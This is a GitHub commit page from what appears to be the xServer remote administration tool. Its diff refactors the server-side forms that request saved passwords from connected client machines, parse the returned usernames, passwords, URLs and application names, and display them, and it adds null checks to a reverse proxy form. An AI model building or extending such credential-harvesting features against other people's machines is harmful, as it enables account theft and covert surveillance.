Skip to content

Commit

Permalink
Improved Password Recovery
Browse files Browse the repository at this point in the history
added small check to reverse proxy
  • Loading branch information
MaxXor committed Aug 15, 2015
1 parent b9e036c commit 8f4b63f
Show file tree
Hide file tree
Showing 5 changed files with 91 additions and 81 deletions.
31 changes: 16 additions & 15 deletions Server/Core/Commands/SurveillanceHandler.cs
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Threading;
using System.Windows.Forms;
using xServer.Core.Data;
Expand All @@ -24,20 +24,21 @@ public static void HandleGetPasswordsResponse(Client client, GetPasswordsRespons

string userAtPc = string.Format("{0}@{1}", client.Value.Username, client.Value.PCName);

List<RecoveredAccount> lst = new List<RecoveredAccount>();

foreach (string str in packet.Passwords)
{
// raw passworddata
string[] values = str.Split(new string[] { DELIMITER }, StringSplitOptions.None);
lst.Add(new RecoveredAccount() { Username = values[0], Password = values[1], URL = values[2], Application = values[3] });
}

foreach (RecoveredAccount login in lst)
{
// add them to the listview of frmpass
client.Value.FrmPass.AddPassword(login, userAtPc);
}
var lst =
packet.Passwords.Select(str => str.Split(new[] {DELIMITER}, StringSplitOptions.None))
.Select(
values =>
new RecoveredAccount
{
Username = values[0],
Password = values[1],
URL = values[2],
Application = values[3]
})
.ToList();

if (client.Value != null && client.Value.FrmPass != null)
client.Value.FrmPass.AddPasswords(lst.ToArray(), userAtPc);
}
public static void HandleGetDesktopResponse(Client client, GetDesktopResponse packet)
{
Expand Down
2 changes: 1 addition & 1 deletion Server/Forms/FrmMain.cs
Original file line number Diff line number Diff line change
Expand Up @@ -593,7 +593,7 @@ private void ctxtPasswordRecovery_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
{
FrmPasswordRecovery frmPass = new FrmPasswordRecovery(GetSelectedClients().ToList());
FrmPasswordRecovery frmPass = new FrmPasswordRecovery(GetSelectedClients());
frmPass.Show();
}
}
Expand Down
2 changes: 2 additions & 0 deletions Server/Forms/FrmPasswordRecovery.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

127 changes: 65 additions & 62 deletions Server/Forms/FrmPasswordRecovery.cs
Original file line number Diff line number Diff line change
@@ -1,104 +1,103 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using xServer.Core.Data;
using xServer.Core.Helper;
using xServer.Core.Networking;
using xServer.Core.Utilities;

namespace xServer.Forms
{
public partial class FrmPasswordRecovery : Form
{
public List<Client> ConnectedClients { get; set; }
private readonly Client[] _clients;
private readonly object _addingLock = new object();

public FrmPasswordRecovery(List<Client> connectedClients)
public FrmPasswordRecovery(Client[] connectedClients)
{

ConnectedClients = connectedClients;
foreach (Client client in ConnectedClients)
_clients = connectedClients;
foreach (Client client in _clients)
{
// Set their frmpass to this
if (client == null || client.Value == null) continue;
client.Value.FrmPass = this;
}

InitializeComponent();
this.Text = WindowHelper.GetWindowTitle("Password Recovery", ConnectedClients.Count);
this.Text = WindowHelper.GetWindowTitle("Password Recovery", _clients.Length);

txtFormat.Text = XMLSettings.SaveFormat;

// Get passwords from clients
SendRefresh();
}

#region Public Members
public void SendRefresh()
private void FrmPasswordRecovery_Load(object sender, EventArgs e)
{
lstPasswords.Items.Clear();
lstPasswords.Groups.Clear();
RecoverPasswords();
}

foreach (Client client in ConnectedClients)
private void FrmPasswordRecovery_FormClosing(object sender, FormClosingEventArgs e)
{
foreach (Client client in _clients)
{
if (client == null) continue;
// Send request packet
new Core.Packets.ServerPackets.GetPasswords().Execute(client);
if (client == null || client.Value == null) continue;
client.Value.FrmPass = null;
}
}

public void AddPassword(RecoveredAccount login, string identification)
#region Public Members
public void RecoverPasswords()
{
try
{
ListViewGroup lvg = GetGroupFromApplication(login.Application);
allToolStripMenuItem2_Click(null, null);

ListViewItem lvi = new ListViewItem() { Tag = login, Text = identification };
lvi.SubItems.Add(login.URL); // URL
lvi.SubItems.Add(login.Username); // User
lvi.SubItems.Add(login.Password); // Pass
var req = new Core.Packets.ServerPackets.GetPasswords();
foreach (var client in _clients.Where(client => client != null && client.Connected))
req.Execute(client);
}

if (lvg == null)
public void AddPasswords(RecoveredAccount[] logins, string identification)
{
try
{
lock (_addingLock)
{
// No group exists for the application in question
var items = new List<ListViewItem>();

lvg = new ListViewGroup();
foreach (var login in logins)
{
var lvi = new ListViewItem { Tag = login, Text = identification };

lvi.Group = lvg;
// Space in the application name will not be allowed in the property
lvg.Name = login.Application.Replace(" ", "");
lvg.Header = login.Application;
lvi.SubItems.Add(login.URL); // URL
lvi.SubItems.Add(login.Username); // User
lvi.SubItems.Add(login.Password); // Pass

this.Invoke(new MethodInvoker(delegate
{
lstPasswords.Groups.Add(lvg);
lstPasswords.Items.Add(lvi);
}));
}
else
{
// Group exists for the application, lets update it with our new item appended
var lvg = GetGroupFromApplication(login.Application);

// Get the group index so we can quickly set it after we've completed operations
int groupIndex = lstPasswords.Groups.IndexOf(lvg);
if (lvg == null) //Create new group
{
lvg = new ListViewGroup { Name = login.Application.Replace(" ", string.Empty), Header = login.Application };
this.Invoke(new MethodInvoker(() => lstPasswords.Groups.Add(lvg))); //Add the new group
}

lvi.Group = lvg;
lvi.Group = lvg;
items.Add(lvi);
}

this.Invoke(new MethodInvoker(delegate
{
lstPasswords.Groups[groupIndex] = lvg;
lstPasswords.Items.Add(lvi);
}));
Invoke(new MethodInvoker(() => { lstPasswords.Items.AddRange(items.ToArray()); }));
UpdateRecoveryCount();
}
}
catch (Exception ex)
catch
{
MessageBox.Show("Error on adding password: " + ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
#endregion

#region Private Members
private void UpdateRecoveryCount()
{
Invoke(new MethodInvoker(() => groupBox1.Text = string.Format("Recovered Accounts [ {0} ]", lstPasswords.Items.Count)));
}

private string ConvertToFormat(string format, RecoveredAccount login)
{
return format
Expand Down Expand Up @@ -151,15 +150,14 @@ private void txtFormat_TextChanged(object sender, EventArgs e)
#endregion

#region Group Methods
public ListViewGroup GetGroupFromApplication(string app)
private ListViewGroup GetGroupFromApplication(string app)
{
ListViewGroup lvg = null;
this.Invoke(new MethodInvoker(delegate {
foreach (ListViewGroup group in lstPasswords.Groups)
this.Invoke(new MethodInvoker(delegate
{
foreach (var @group in lstPasswords.Groups.Cast<ListViewGroup>().Where(@group => @group.Header == app))
{
// Check to see if the current group header is for our application
if (group.Header == app)
lvg = group;
lvg = @group;
}
}));
return lvg;
Expand Down Expand Up @@ -218,13 +216,18 @@ private void selectedToolStripMenuItem1_Click(object sender, EventArgs e)

private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
{
SendRefresh();
RecoverPasswords();
}

private void allToolStripMenuItem2_Click(object sender, EventArgs e)
{
lstPasswords.Items.Clear();
lstPasswords.Groups.Clear();
lock (_addingLock)
{
lstPasswords.Items.Clear();
lstPasswords.Groups.Clear();

UpdateRecoveryCount();
}
}

private void selectedToolStripMenuItem2_Click(object sender, EventArgs e)
Expand Down
10 changes: 7 additions & 3 deletions Server/Forms/FrmReverseProxy.cs
Original file line number Diff line number Diff line change
Expand Up @@ -15,11 +15,15 @@ public partial class FrmReverseProxy : Form

public FrmReverseProxy(Client[] clients)
{
InitializeComponent();
this._clients = clients;

foreach (Client t in clients)
t.Value.FrmProxy = this;
foreach (Client c in clients)
{
if (c == null || c.Value == null) continue;
c.Value.FrmProxy = this;
}

InitializeComponent();
}

private void FrmReverseProxy_Load(object sender, EventArgs e)
Expand Down

0 comments on commit 8f4b63f

Please sign in to comment.